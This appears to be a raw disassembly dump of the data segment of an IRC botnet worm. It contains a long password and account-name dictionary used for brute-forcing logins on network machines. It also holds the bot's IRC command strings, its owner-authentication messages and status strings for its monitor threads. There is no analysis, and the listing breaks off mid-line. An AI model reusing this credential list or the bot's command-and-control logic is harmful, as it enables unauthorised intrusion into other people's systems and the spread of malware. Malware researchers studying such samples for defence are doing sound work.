seg002:004236D0o align 10h aBreast db 'breast',0 ; DATA XREF: seg002:004236CCo align 4 aBreak db 'break',0 ; DATA XREF: seg002:004236C8o align 10h aBravo db 'bravo',0 ; DATA XREF: seg002:004236C4o align 4 aBrandy db 'brandy',0 ; DATA XREF: seg002:004236C0o align 10h aBrandi db 'brandi',0 ; DATA XREF: seg002:004236BCo align 4 aBradley db 'bradley',0 ; DATA XREF: seg002:004236B8o aBoyscout db 'boyscout',0 ; DATA XREF: seg002:004236B4o align 4 aBorn db 'born',0 ; DATA XREF: seg002:004236B0o align 4 aBook db 'book',0 ; DATA XREF: seg002:004236ACo align 4 aBoobs db 'boobs',0 ; DATA XREF: seg002:004236A8o align 4 aBoob db 'boob',0 ; DATA XREF: seg002:004236A4o align 4 aBoner db 'boner',0 ; DATA XREF: seg002:004236A0o align 4 aBomb db 'bomb',0 ; DATA XREF: seg002:0042369Co align 4 aBoard db 'board',0 ; DATA XREF: seg002:00423698o align 4 aBlues db 'blues',0 ; DATA XREF: seg002:00423694o align 4 aBlue db 'blue',0 ; DATA XREF: seg002:00423690o align 4 aBlowjob db 'blowjob',0 ; DATA XREF: seg002:0042368Co aBlow db 'blow',0 ; DATA XREF: seg002:00423688o align 4 aBloodaxe db 'bloodaxe',0 ; DATA XREF: seg002:00423684o align 10h aBlood db 'blood',0 ; DATA XREF: seg002:00423680o align 4 aBlondie db 'blondie',0 ; DATA XREF: seg002:0042367Co aBlonde db 'blonde',0 ; DATA XREF: seg002:00423678o align 4 aBlack db 'black',0 ; DATA XREF: seg002:00423674o align 10h aBitnet db 'bitnet',0 ; DATA XREF: seg002:00423670o align 4 aBitmap db 'bitmap',0 ; DATA XREF: seg002:0042366Co align 10h aBitch db 'bitch',0 ; DATA XREF: seg002:00423668o align 4 aBishop db 'bishop',0 ; DATA XREF: seg002:00423664o align 10h aBird db 'bird',0 ; DATA XREF: seg002:00423660o align 4 aBios db 'bios',0 ; DATA XREF: seg002:0042365Co align 10h aBinary db 'binary',0 ; DATA XREF: seg002:00423658o align 4 aBill db 'bill',0 ; DATA XREF: seg002:00423654o align 10h aBigfoot db 'bigfoot',0 ; DATA XREF: seg002:00423650o aBicamera db 'bicamera',0 ; DATA XREF: seg002:0042364Co align 4 aBible db 'bible',0 ; DATA XREF: seg002:00423648o align 4 aBeverly db 'beverly',0 ; DATA XREF: seg002:00423644o aBetty db 'betty',0 ; DATA XREF: seg002:00423640o align 4 aBetsie db 'betsie',0 ; DATA XREF: seg002:0042363Co align 4 aBeth db 'beth',0 ; DATA XREF: seg002:00423638o align 4 aBeta db 'beta',0 ; DATA XREF: seg002:00423634o align 4 aBeryl db 'beryl',0 ; DATA XREF: seg002:00423630o align 4 aBerliner db 'berliner',0 ; DATA XREF: seg002:0042362Co align 4 aBerlin db 'berlin',0 ; DATA XREF: seg002:00423628o align 10h aBerkeley db 'berkeley',0 ; DATA XREF: seg002:00423624o align 4 aBeowulf db 'beowulf',0 ; DATA XREF: seg002:00423620o aBenz db 'benz',0 ; DATA XREF: seg002:0042361Co align 4 aBeloved db 'beloved',0 ; DATA XREF: seg002:00423618o aBell db 'bell',0 ; DATA XREF: seg002:00423614o align 4 aBehead db 'behead',0 ; DATA XREF: seg002:00423610o align 4 aBegin db 'begin',0 ; DATA XREF: seg002:0042360Co align 4 aBeethove db 'beethove',0 ; DATA XREF: seg002:00423608o align 4 aBecky db 'becky',0 ; DATA XREF: seg002:00423604o align 10h aBeaver db 'beaver',0 ; DATA XREF: seg002:00423600o align 4 aBeauty db 'beauty',0 ; DATA XREF: seg002:004235FCo align 10h aBeater db 'beater',0 ; DATA XREF: seg002:004235F8o align 4 aBeast db 'beast',0 ; DATA XREF: seg002:004235F4o align 10h aBear db 'bear',0 ; DATA XREF: seg002:004235F0o align 4 aBeammeup db 'beammeup',0 ; DATA XREF: seg002:004235ECo align 4 aBeach db 'beach',0 ; DATA XREF: seg002:004235E8o align 4 aBatman db 'batman',0 ; DATA XREF: seg002:004235E4o align 4 aBatch db 'batch',0 ; DATA XREF: seg002:004235E0o align 4 aBassoon db 'bassoon',0 ; DATA XREF: seg002:004235DCo aBass db 'bass',0 ; DATA XREF: seg002:004235D8o align 4 aBasic db 'basic',0 ; DATA XREF: seg002:004235D4o align 4 aBaseball db 'baseball',0 ; DATA XREF: seg002:004235D0o align 10h aBartman db 'bartman',0 ; DATA XREF: seg002:004235CCo aBart db 'bart',0 ; DATA XREF: seg002:004235C8o align 10h aBaritone db 'baritone',0 ; DATA XREF: seg002:004235C4o align 4 aBarf db 'barf',0 ; DATA XREF: seg002:004235C0o align 4 aBare db 'bare',0 ; DATA XREF: seg002:004235BCo align 4 aBarber db 'barber',0 ; DATA XREF: seg002:004235B8o align 4 aBarbara db 'barbara',0 ; DATA XREF: seg002:004235B4o aBanks db 'banks',0 ; DATA XREF: seg002:004235B0o align 4 aBank db 'bank',0 ; DATA XREF: seg002:004235ACo align 4 aBandit db 'bandit',0 ; DATA XREF: seg002:004235A8o align 4 aBananas db 'bananas',0 ; DATA XREF: seg002:004235A4o aBanana db 'banana',0 ; DATA XREF: seg002:004235A0o align 4 aBall db 'ball',0 ; DATA XREF: seg002:0042359Co align 4 aBailey db 'bailey',0 ; DATA XREF: seg002:00423598o align 4 aBadass db 'badass',0 ; DATA XREF: seg002:00423594o align 4 aBackdoor db 'backdoor',0 ; DATA XREF: seg002:00423590o align 4 aBacchus db 'bacchus',0 ; DATA XREF: seg002:0042358Co aBaby db 'baby',0 ; DATA XREF: seg002:00423588o align 4 aBabe db 'babe',0 ; DATA XREF: seg002:00423584o align 10h aAzure db 'azure',0 ; DATA XREF: seg002:00423580o align 4 aAztecs db 'aztecs',0 ; DATA XREF: seg002:0042357Co align 10h aAuthoriz db 'authoriz',0 ; DATA XREF: seg002:00423578o align 4 aAttack db 'attack',0 ; DATA XREF: seg002:00423574o align 4 aAtom db 'atom',0 ; DATA XREF: seg002:00423570o align 4 aAtmosphe db 'atmosphe',0 ; DATA XREF: seg002:0042356Co align 4 aAthena db 'athena',0 ; DATA XREF: seg002:00423568o align 10h aAsshole db 'asshole',0 ; DATA XREF: seg002:00423564o aAsian db 'asian',0 ; DATA XREF: seg002:00423560o align 10h aArtist db 'artist',0 ; DATA XREF: seg002:0042355Co align 4 aArthur db 'arthur',0 ; DATA XREF: seg002:00423558o align 10h aArrow db 'arrow',0 ; DATA XREF: seg002:00423554o align 4 aArmy db 'army',0 ; DATA XREF: seg002:00423550o align 10h aArlene db 'arlene',0 ; DATA XREF: seg002:0042354Co align 4 aAriadne db 'ariadne',0 ; DATA XREF: seg002:00423548o aAria db 'aria',0 ; DATA XREF: seg002:00423544o align 4 aApril db 'april',0 ; DATA XREF: seg002:00423540o align 10h aApollo13 db 'apollo13',0 ; DATA XREF: seg002:0042353Co align 4 aAnything db 'anything',0 ; DATA XREF: seg002:00423538o align 4 aAnvils db 'anvils',0 ; DATA XREF: seg002:00423534o align 10h aAnthropo db 'anthropo',0 ; DATA XREF: seg002:00423530o align 4 aAnthrax db 'anthrax',0 ; DATA XREF: seg002:0042352Co aAnswer db 'answer',0 ; DATA XREF: seg002:00423528o align 4 aAnonymou db 'anonymou',0 ; DATA XREF: seg002:00423524o align 4 aAnon db 'anon',0 ; DATA XREF: seg002:00423520o align 10h aAnnette db 'annette',0 ; DATA XREF: seg002:0042351Co aAnne db 'anne',0 ; DATA XREF: seg002:00423518o align 10h aAnna db 'anna',0 ; DATA XREF: seg002:00423514o align 4 aAnita db 'anita',0 ; DATA XREF: seg002:00423510o align 10h aAnimals db 'animals',0 ; DATA XREF: seg002:0042350Co aAnimal db 'animal',0 ; DATA XREF: seg002:00423508o align 10h aAngie db 'angie',0 ; DATA XREF: seg002:00423504o align 4 aAngerine db 'angerine',0 ; DATA XREF: seg002:00423500o align 4 aAngela db 'angela',0 ; DATA XREF: seg002:004234FCo align 4 aAnfo db 'anfo',0 ; DATA XREF: seg002:004234F8o align 4 aAndy db 'andy',0 ; DATA XREF: seg002:004234F4o align 4 aAndromac db 'andromac',0 ; DATA XREF: seg002:004234F0o align 4 aAndroid db 'android',0 ; DATA XREF: seg002:004234ECo aAndrea db 'andrea',0 ; DATA XREF: seg002:004234E8o align 4 aAnchor db 'anchor',0 ; DATA XREF: seg002:004234E4o align 10h aAnarchy db 'anarchy',0 ; DATA XREF: seg002:004234E0o aAnarchis db 'anarchis',0 ; DATA XREF: seg002:004234DCo align 4 aAnalog db 'analog',0 ; DATA XREF: seg002:004234D8o align 4 aAnal db 'anal',0 ; DATA XREF: seg002:004234D4o align 4 aAmorphou db 'amorphou',0 ; DATA XREF: seg002:004234D0o align 10h aAmerica db 'america',0 ; DATA XREF: seg002:004234CCo aAmber db 'amber',0 ; DATA XREF: seg002:004234C8o align 10h aAmanda db 'amanda',0 ; DATA XREF: seg002:004234C4o align 4 aAmadeus db 'amadeus',0 ; DATA XREF: seg002:004234C0o aAlphabet db 'alphabet',0 ; DATA XREF: seg002:004234BCo align 4 aAllow db 'allow',0 ; DATA XREF: seg002:004234B8o align 4 aAllison db 'allison',0 ; DATA XREF: seg002:004234B4o aAlison db 'alison',0 ; DATA XREF: seg002:004234B0o align 4 aAlisa db 'alisa',0 ; DATA XREF: seg002:004234ACo align 4 aAlicia db 'alicia',0 ; DATA XREF: seg002:004234A8o align 4 aAlice db 'alice',0 ; DATA XREF: seg002:004234A4o align 4 aAliases db 'aliases',0 ; DATA XREF: seg002:004234A0o aAlias db 'alias',0 ; DATA XREF: seg002:0042349Co align 4 aAlgebra db 'algebra',0 ; DATA XREF: seg002:00423498o aAlexande db 'alexande',0 ; DATA XREF: seg002:00423494o align 10h aAlex db 'alex',0 ; DATA XREF: seg002:00423490o align 4 aAlert db 'alert',0 ; DATA XREF: seg002:0042348Co align 10h aAlbert db 'albert',0 ; DATA XREF: seg002:00423488o align 4 aAlbatros db 'albatros',0 ; DATA XREF: seg002:00423484o align 4 aAlbany db 'albany',0 ; DATA XREF: seg002:00423480o align 4 aAlaska db 'alaska',0 ; DATA XREF: seg002:0042347Co align 4 aAirplane db 'airplane',0 ; DATA XREF: seg002:00423478o align 10h aAids db 'aids',0 ; DATA XREF: seg002:00423474o align 4 aAerobics db 'aerobics',0 ; DATA XREF: seg002:00423470o align 4 aAdult db 'adult',0 ; DATA XREF: seg002:0042346Co align 4 aAdrianna db 'adrianna',0 ; DATA XREF: seg002:00423468o align 4 aAdrian db 'adrian',0 ; DATA XREF: seg002:00423464o align 10h aAdam db 'adam',0 ; DATA XREF: seg002:00423460o align 4 aAction db 'action',0 ; DATA XREF: seg002:0042345Co align 10h aAccount db 'account',0 ; DATA XREF: seg002:00423458o aAcademic db 'academic',0 ; DATA XREF: seg002:00423450o align 4 aAcademia db 'academia',0 ; DATA XREF: seg002:0042344Co align 10h a000000 db '000000',0 ; DATA XREF: seg002:00423448o ; seg002:00424E60o align 4 a00000 db '00000',0 ; DATA XREF: seg002:00423444o ; seg002:00424E5Co align 10h a0000 db '0000',0 ; DATA XREF: seg002:00423440o ; seg002:00424E58o align 4 a000 db '000',0 ; DATA XREF: seg002:0042343Co ; seg002:00424E54o aTesting db 'testing',0 ; DATA XREF: seg002:00423438o aDeath db 'death',0 ; DATA XREF: seg002:00423434o align 4 a00 db '00',0 ; DATA XREF: seg002:00423430o ; seg002:00424E50o align 10h aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: seg002:00423428o ; seg002:004252A0o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: seg002:00423424o ; seg002:0042529Co align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: seg002:00423420o ; seg002:00425298o aXxxxxx db 'xxxxxx',0 ; DATA XREF: seg002:0042341Co ; seg002:00425294o align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: seg002:00423418o ; seg002:00425290o align 10h aXxxx db 'xxxx',0 ; DATA XREF: seg002:00423414o ; seg002:0042528Co align 4 aXxx db 'xxx',0 ; DATA XREF: seg002:00423410o ; seg002:00425288o aXx db 'xx',0 ; DATA XREF: seg002:0042340Co ; seg002:00425284o align 10h asc_429AE0: ; DATA XREF: seg002:00423408o ; seg002:00425280o unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: seg002:00423404o aYouwontguessme db 'youwontguessme',0 ; DATA XREF: seg002:00423400o align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: seg002:004233FCo align 4 aMirc_0 db 'mirc',0 ; DATA XREF: seg002:004233F8o align 4 aKiddie db 'kiddie',0 ; DATA XREF: seg002:004233F4o align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: seg002:004233F0o align 4 aScript db 'script',0 ; DATA XREF: seg002:004233ECo align 4 aHax0r db 'hax0r',0 ; DATA XREF: seg002:004233E8o align 4 aHacker db 'hacker',0 ; DATA XREF: seg002:004233E4o align 4 aL337 db 'l337',0 ; DATA XREF: seg002:004233E0o align 4 aL33t db 'l33t',0 ; DATA XREF: seg002:004233DCo align 4 aLeet db 'leet',0 ; DATA XREF: seg002:004233D8o align 4 aKiller db 'killer',0 ; DATA XREF: seg002:004233D4o align 4 a0wn3d db '0wn3d',0 ; DATA XREF: seg002:004233D0o ; seg002:00424EBCo align 4 aW00t db 'w00t',0 ; DATA XREF: seg002:004233CCo align 4 aHeaven db 'heaven',0 ; DATA XREF: seg002:004233C8o align 4 aSpaceman db 'spaceman',0 ; DATA XREF: seg002:004233C4o align 4 aSatanic db 'satanic',0 ; DATA XREF: seg002:004233C0o aSatanik db 'satanik',0 ; DATA XREF: seg002:004233BCo aSatan db 'satan',0 ; DATA XREF: seg002:004233B8o align 10h aGobo db 'gobo',0 ; DATA XREF: seg002:004233B4o align 4 aMatthew db 'Matthew',0 ; DATA XREF: seg002:004233B0o aMatt db 'Matt',0 ; DATA XREF: seg002:004233ACo align 4 aMat db 'Mat',0 ; DATA XREF: seg002:004233A8o aPw db 'pw',0 ; DATA XREF: seg002:004233A4o align 10h aMypass123 db 'mypass123',0 ; DATA XREF: seg002:004233A0o align 4 aMypass db 'mypass',0 ; DATA XREF: seg002:0042339Co align 4 aPw123 db 'pw123',0 ; DATA XREF: seg002:00423398o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: seg002:00423394o align 4 aMypc123 db 'mypc123',0 ; DATA XREF: seg002:00423390o aMypc db 'mypc',0 ; DATA XREF: seg002:0042338Co align 4 aLove db 'love',0 ; DATA XREF: seg002:00423388o align 10h aPwd db 'pwd',0 ; DATA XREF: seg002:00423384o aLogin db 'login',0 ; DATA XREF: seg002:00423380o align 4 aHome db 'home',0 ; DATA XREF: seg002:0042337Co align 4 aZxcv db 'zxcv',0 ; DATA XREF: seg002:00423378o ; seg002:004252C0o align 4 aYxcv db 'yxcv',0 ; DATA XREF: seg002:00423374o align 4 aQwer db 'qwer',0 ; DATA XREF: seg002:00423370o ; seg002:0042522Co align 4 aSecret db 'secret',0 ; DATA XREF: seg002:0042336Co align 4 aAsdf db 'asdf',0 ; DATA XREF: seg002:00423368o ; seg002:004252D8o align 4 aPc db 'pc',0 ; DATA XREF: seg002:00423364o align 10h aWin db 'win',0 ; DATA XREF: seg002:00423360o aTest123 db 'test123',0 ; DATA XREF: seg002:0042335Co aAbc db 'abc',0 ; DATA XREF: seg002:00423358o aAaa db 'aaa',0 ; DATA XREF: seg002:00423354o ; seg002:00425200o aA_1: ; DATA XREF: seg002:00423350o ; seg002:004251F8o unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: seg002:0042334Co align 10h aFucked db 'fucked',0 ; DATA XREF: seg002:00423348o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: seg002:00423344o aIrule db 'irule',0 ; DATA XREF: seg002:00423340o align 4 aOwned db 'owned',0 ; DATA XREF: seg002:0042333Co align 10h a0wned db '0wned',0 ; DATA XREF: seg002:00423338o ; seg002:00424EC0o align 4 aNetDevil db 'net-devil',0 ; DATA XREF: seg002:00423334o align 4 aNetdevil db 'netdevil',0 ; DATA XREF: seg002:00423330o align 10h aDevil db 'devil',0 ; DATA XREF: seg002:0042332Co align 4 aNilez db 'Nilez',0 ; DATA XREF: seg002:00423328o align 10h aFoobar db 'foobar',0 ; DATA XREF: seg002:00423324o align 4 aGod db 'god',0 ; DATA XREF: seg002:00423320o aSex_0 db 'sex',0 ; DATA XREF: seg002:0042331Co aPat db 'pat',0 ; DATA XREF: seg002:00423318o aPatrick db 'patrick',0 ; DATA XREF: seg002:00423314o aAlpha db 'alpha',0 ; DATA XREF: seg002:00423310o align 4 a007 db '007',0 ; DATA XREF: seg002:0042330Co ; seg002:00424EACo a123abc db '123abc',0 ; DATA XREF: seg002:00423308o ; seg002:004250BCo align 10h a1234qwer db '1234qwer',0 ; DATA XREF: seg002:00423304o ; seg002:004250C8o align 4 a123123 db '123123',0 ; DATA XREF: seg002:00423300o ; seg002:00425068o align 4 a121212 db '121212',0 ; DATA XREF: seg002:004232FCo ; seg002:00425060o align 4 a111111 db '111111',0 ; DATA XREF: seg002:004232F8o ; seg002:00424ED8o align 4 a110 db '110',0 ; DATA XREF: seg002:004232F4o ; seg002:0042502Co a2600 db '2600',0 ; DATA XREF: seg002:004232F0o ; seg002:004251B4o align 10h a2002 db '2002',0 ; DATA XREF: seg002:004232E8o ; seg002:004251A0o align 4 aXp_0 db 'xp',0 ; DATA XREF: seg002:004232E4o align 4 aEnable db 'enable',0 ; DATA XREF: seg002:004232E0o align 4 aGodblessyou db 'godblessyou',0 ; DATA XREF: seg002:004232DCo aIhavenopass db 'ihavenopass',0 ; DATA XREF: seg002:004232D8o a123asd db '123asd',0 ; DATA XREF: seg002:004232D4o ; seg002:004250C0o align 4 aSuper db 'super',0 ; DATA XREF: seg002:004232D0o align 4 aInternet db 'Internet',0 ; DATA XREF: seg002:004232CCo align 4 a123qwe db '123qwe',0 ; DATA XREF: seg002:004232C4o ; seg002:004250C4o align 10h aSybase db 'sybase',0 ; DATA XREF: seg002:004232C0o align 4 aAbc123 db 'abc123',0 ; DATA XREF: seg002:004232B8o align 10h aAbcd db 'abcd',0 ; DATA XREF: seg002:004232B4o align 4 aPasswd db 'passwd',0 ; DATA XREF: seg002:004232ACo align 10h aPass_0 db 'pass',0 ; DATA XREF: seg002:004232A8o align 4 a88888888 db '88888888',0 ; DATA XREF: seg002:004232A4o ; seg002:00424FF8o align 4 a11111111 db '11111111',0 ; DATA XREF: seg002:004232A0o ; seg002:00424EE0o align 10h a111 db '111',0 ; DATA XREF: seg002:0042329Co ; seg002:00424ECCo a54321 db '54321',0 ; DATA XREF: seg002:00423298o ; seg002:004251C0o align 4 a654321 db '654321',0 ; DATA XREF: seg002:00423294o ; seg002:004251C4o align 4 a123456789 db '123456789',0 ; DATA XREF: seg002:00423290o ; seg002:00425080o align 10h a12345678 db '12345678',0 ; DATA XREF: seg002:0042328Co ; seg002:0042507Co align 4 a1234567 db '1234567',0 ; DATA XREF: seg002:00423288o ; seg002:00425078o a123456 db '123456',0 ; DATA XREF: seg002:00423284o ; seg002:00425074o align 4 a12345 db '12345',0 ; DATA XREF: seg002:00423280o ; seg002:00425070o align 4 a1234 db '1234',0 ; DATA XREF: seg002:0042327Co ; seg002:0042506Co align 4 a123 db '123',0 ; DATA XREF: seg002:00423278o ; seg002:00425064o a12 db '12',0 ; DATA XREF: seg002:00423274o ; seg002:00425058o align 4 a1: ; DATA XREF: seg002:00423270o ; seg002:00424EC4o unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: seg002:0042326Co aChangeme_0 db 'Changeme',0 ; DATA XREF: seg002:00423268o align 4 aChangeme db 'changeme',0 ; DATA XREF: seg002:00423264o align 4 aLinux db 'linux',0 ; DATA XREF: seg002:00423260o align 10h aUnix db 'unix',0 ; DATA XREF: seg002:0042325Co align 4 aLocal db 'LOCAL',0 ; DATA XREF: seg002:00423258o align 10h aPepsi db 'pepsi',0 ; DATA XREF: seg002:00423254o align 4 aServer_1 db 'SERVER',0 ; DATA XREF: seg002:00423250o ; seg002:00425610o align 10h aSystem_0 db 'SYSTEM',0 ; DATA XREF: seg002:0042324Co ; seg002:00425260o ... align 4 aBackup db 'BACKUP',0 ; DATA XREF: seg002:00423248o ; seg002:00425608o align 10h aAccess db 'ACCESS',0 ; DATA XREF: seg002:00423240o ; seg002:00425600o align 4 aTest db 'TEST',0 ; DATA XREF: seg002:0042323Co ; seg002:004255FCo align 10h aEdu db 'edu',0 ; DATA XREF: seg002:00423238o ; seg002:004255F8o aOwner_1 db 'Owner',0 ; DATA XREF: seg002:00423234o ; seg002:004255F4o align 4 aOwner_0 db 'OWNER',0 ; DATA XREF: seg002:00423230o ; seg002:004255F0o align 4 aDemo db 'DEMO',0 ; DATA XREF: seg002:0042322Co ; seg002:004255ECo align 4 aFiles db 'FILES',0 ; DATA XREF: seg002:00423228o ; seg002:004255E8o align 4 aRead db 'READ',0 ; DATA XREF: seg002:00423224o ; seg002:004255E4o align 4 aBoth db 'BOTH',0 ; DATA XREF: seg002:00423220o ; seg002:004255E0o align 4 aLadeda db 'ladeda',0 ; DATA XREF: seg002:0042321Co ; seg002:004255DCo align 4 aFull_0 db 'FULL',0 ; DATA XREF: seg002:00423218o ; seg002:004255D8o align 4 aWrite db 'WRITE',0 ; DATA XREF: seg002:00423214o ; seg002:004255D4o align 4 aShare_0 db 'SHARE',0 ; DATA XREF: seg002:00423210o ; seg002:004255D0o align 4 aTemp db 'TEMP',0 ; DATA XREF: seg002:0042320Co ; seg002:004255CCo align 4 aPassword db 'PASSWORD',0 ; DATA XREF: seg002:00423208o ; seg002:004255C8o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: seg002:00423204o ; seg002:004255C4o align 10h aRoot_0 db 'ROOT',0 ; DATA XREF: seg002:004231FCo ; seg002:004255BCo align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: seg002:004231F8o ; seg002:004255B8o align 10h aBla db 'bla',0 ; DATA XREF: seg002:004231F4o ; seg002:004255B4o aFubar db 'fubar',0 ; DATA XREF: seg002:004231F0o ; seg002:004255B0o align 4 aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: seg002:004231E4o ; seg002:004255A4o align 4 aDb2 db 'db2',0 ; DATA XREF: seg002:004231D4o aOracle db 'oracle',0 ; DATA XREF: seg002:004231D0o ; seg002:004232BCo align 4 aDba db 'dba',0 ; DATA XREF: seg002:004231CCo aDatabase db 'database',0 ; DATA XREF: seg002:004231C8o ; seg002:004232B0o align 4 aDefault db 'default',0 ; DATA XREF: seg002:004231C4o ; seg002:00423950o aGuest_0 db 'guest',0 ; DATA XREF: seg002:004231C0o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg002:004231BCo align 4 aTeacher db 'teacher',0 ; DATA XREF: seg002:004231B8o ; seg002:004248E4o aStudent db 'student',0 ; DATA XREF: seg002:004231B4o ; seg002:0042482Co aOwner db 'owner',0 ; DATA XREF: seg002:004231B0o align 4 aComputer db 'computer',0 ; DATA XREF: seg002:004231ACo ; seg002:004232C8o align 4 aRoot db 'root',0 ; DATA XREF: seg002:004231A8o ; seg002:00423200o ... align 10h aStaff db 'staff',0 ; DATA XREF: seg002:004231A4o align 4 aAdmin db 'admin',0 ; DATA XREF: seg002:004231A0o align 10h aAdmins db 'admins',0 ; DATA XREF: seg002:0042319Co align 4 aAdministrat db 'administrat',0 ; DATA XREF: seg002:00423198o aAdministrateur db 'administrateur',0 ; DATA XREF: seg002:00423194o align 4 aAdministrador db 'administrador',0 ; DATA XREF: seg002:00423190o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: seg002:0042318Co ; seg002:004231ECo ... align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_40EC42:loc_40ED4Do ; seg002:00423188o ... align 4 aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: seg002:off_4230DCo a@room db '*@room',0 ; DATA XREF: seg002:off_4230D8o align 4 unk_429FD8 db 2 ; DATA XREF: sub_4089FD+555o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartR db ' Failed to start registry thread, error: <%d>.',0 align 4 unk_42A028 db 2 ; DATA XREF: sub_4089FD+502o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRegistryMonito db ' Registry monitor active.',0 align 4 unk_42A064 db 2 ; DATA XREF: sub_4089FD+4E2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStar_4 db ' Failed to start secure thread, error: <%d>.',0 align 4 unk_42A0B4 db 2 ; DATA XREF: sub_4089FD+491o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSystemSecureMo db ' System secure monitor active.',0 align 4 dword_42A0F4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_4089FD+456o dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h dd 2E64h, 25207325h, 25222064h, 2273h dword_42A12C dd 255C7325h, 73hdword_42A134 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_4090B0+F2o dd 2029206Ch, 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_409218+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_409218+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040E2F3o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040E2DEo align 4 dword_42A1AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040E2CAo dd 2029206Ch, 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 10h dword_42A1E0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040E2ADo dd 2029206Ch, 2BBBB02h aPasswordAccept db ' Password accepted.',0 align 4 dword_42A214 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040E23Do dd 2029206Ch, 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 dword_42A254 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040E1DFo dd 2029206Ch, 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: seg000:0040E1D0o ; seg000:0040E22Eo align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: seg000:0040E1BCo ; seg000:0040E21Ao align 10h asc_42A2E0: ; DATA XREF: seg000:0040E18Co unicode 0, <~>,0 dword_42A2E4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040E13Bo dd 2029206Ch, 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_42A31C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040E081o dd 2029206Ch, 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_42A35C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040E079o dd 2029206Ch, 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_42A39C dd 72027002h, 1F631F6Fh, 2E2Ehdword_42A3A8 dd 636F7250h, 20737365h, 7473696Ch, 0dword_42A3B8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040DFD2o dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h dd 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40DFC5o align 4 dword_42A3FC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040DFB0o dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh dd 2E676E69h, 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40DFA3o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040DF7Bo align 10h dword_42A450 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: 